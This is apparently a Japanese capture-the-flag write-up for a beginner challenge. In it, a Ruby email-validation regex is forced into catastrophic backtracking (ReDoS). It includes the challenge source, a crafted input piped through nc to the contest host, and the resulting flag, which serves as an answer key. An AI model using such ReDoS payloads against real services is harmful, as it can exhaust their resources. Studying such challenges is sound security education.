あなたのメールアドレスが正しいか調べます.

問題

正規表現でメールアドレスをチェックするプログラムがリモートで動いています
チェックに5秒以上かけさせることが出来ればflagが得られるようです

問題ファイル

#!/usr/bin/env ruby
require 'timeout'

$stdout.sync = true
$stdin.sync = true

pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

begin
  Timeout.timeout(60) {
    Process.wait Process.fork {
      puts "I check your mail address."
      puts "please puts your mail address."
      input = gets.chomp
      begin
        Timeout.timeout(5) {
          if input =~ pattern
            puts "Valid mail address!"
          else
            puts "Invalid mail address!"
          end
        }
      rescue Timeout::Error
        exit(status=14)
      end
    }

    case Process.last_status.to_i >> 8
    when 0 then
      puts "bye."
    when 1 then
      puts "bye."
    when 14 then
      File.open("flag.txt", "r") do |f|
        puts f.read
      end
    else
      puts "What's happen?"
    end
  } 
rescue Timeout::Error
  puts "bye."
end

解説

一部の正規表現では処理にめちゃくちゃ時間がかかる場合があります
https://qiita.com/prograti/items/9b54cf82a08302a5d2c7

今回の正規表現では
[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\zのあたりが怪しいので、とりあえずa@aaaで冒頭の条件を満たし.-aaを100個繰り返したテキストを送りつけたところ無事5秒以上かかりflagを得られました

$ python -c "print('a@aaa'+'.-aa'*100)" | nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}